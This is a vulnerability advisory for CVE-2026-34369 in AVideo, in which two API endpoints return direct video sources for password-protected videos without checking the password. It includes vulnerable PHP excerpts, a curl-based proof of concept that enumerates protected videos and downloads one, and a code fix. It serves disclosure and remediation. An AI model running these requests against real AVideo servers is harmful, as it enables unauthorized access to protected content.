CVE-2026-34369: AVIdeo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification

Published Mar 27, 2026
·
Updated

Summary

The getapivideofile and getapivideo API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.

Details

The video password protection is enforced in the web UI via CustomizeUser::getModeYouTube() (plugin/CustomizeUser/CustomizeUser.php:787), which calls videoPasswordIsGood() before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.

Vulnerable endpoint 1 — getapivideofile (plugin/API/API.php:986-1004):

php public function getapivideofile($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videosid = $parameters['videosid']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videosid)) { return new ApiObject("You cannot watch this video"); } } $video = new Video('', '', $obj->videosid); $obj->filename = $video->getFilename(); // ... $obj->videofile = Video::getHigherVideoPathFromID($obj->videosid); $obj->sources = getSources($obj->filename, true); return new ApiObject("", false, $obj); }

The only access check is User::canWatchVideoWithAds() (objects/user.php:1102-1159), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does not check videopassword. Password-protected videos have status 'a' (active), which passes all checks.

Vulnerable endpoint 2 — getapivideo (plugin/API/API.php:1635-1810):

This endpoint returns video metadata including full videos paths (line 1759) and sources arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.

The intended password check exists but is never called from these endpoints:

Video::verifyVideoPassword() (objects/video.php:543-553) is the proper password verification function, and getapivideopasswordiscorrect exists as a separate API endpoint — proving password verification was intended as an access control. But neither getapivideofile nor getapivideo invoke any password check.

PoC

bash Step 1: Identify a password-protected video via the video list API curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \ python3 -c " import json, sys data = json.load(sys.stdin) for v in data.get('response',{}).get('rows',[]): if v.get('videopassword'): print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES') print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')"

Step 2: Retrieve full playback sources for the password-protected video curl -s 'https://target.com/plugin/API/get.json.php?APIName=videofile&videosid=<PROTECTEDVIDEOID>'

Expected: access denied or password prompt Actual: full response with direct MP4/HLS URLs: {"error":false,"response":{"videosid":"123","filename":"videoabc", "videofile":"https://target.com/videos/videoabc/videoabcHD.mp4", "sources":[{"src":"https://target.com/videos/videoabc/videoabcHD.mp4","type":"video/mp4"}]}}

Step 3: Download the protected video directly curl -O 'https://target.com/videos/videoabc/videoabcHD.mp4'

Impact

Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The getapivideo endpoint additionally exposes which videos are password-protected (via the videopassword field set to '1'), allowing targeted enumeration. This renders the videopassword feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.

Recommended Fix

Add password verification to both API endpoints before returning video sources. In plugin/API/API.php:

php public function getapivideofile($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videosid = $parameters['videosid']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videosid)) { return new ApiObject("You cannot watch this video"); } // Check video password protection $video = new Video('', '', $obj->videosid); $storedPassword = $video->getVideopassword(); if (!empty($storedPassword)) { $providedPassword = @$parameters['videopassword']; if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) { return new ApiObject("Video password required", true); } } } // ... rest of function }

Apply the same check in getapivideo() before populating the videos and sources fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix getapivideopasswordiscorrect to use Video::verifyVideoPassword() instead of direct == comparison (line 1126), which currently fails for bcrypt hashes.

Other sources

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the getapivideofile and getapivideo API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly. Commit be344206f2f461c034ad2f1c5d8212dd8a52b8c7 fixes the issue.

MITRE

Affected Software

3 affected components
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0
WWBN AVideo<=26.0

Event History

Mar 27, 2026
CVE Published
via MITRE·06:13 PM
Data Sourced
via MITRE·06:13 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 30, 2026
Advisory Published
via GitHub·06:03 PM
Data Sourced
via GitHub·06:03 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34369?

CVE-2026-34369 is classified as a high severity vulnerability due to the bypass of password protection on video files.

2

How do I fix CVE-2026-34369?

To fix CVE-2026-34369, update AVideo to the latest version that addresses this vulnerability.

3

What type of vulnerability is CVE-2026-34369?

CVE-2026-34369 is a vulnerability that allows unauthorized access to password-protected video content via insecure API endpoints.

4

Which versions of AVideo are affected by CVE-2026-34369?

CVE-2026-34369 affects AVideo versions up to and including 26.0.

5

What impact does CVE-2026-34369 have on users?

CVE-2026-34369 could result in unauthorized users being able to access sensitive video content without proper authentication.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203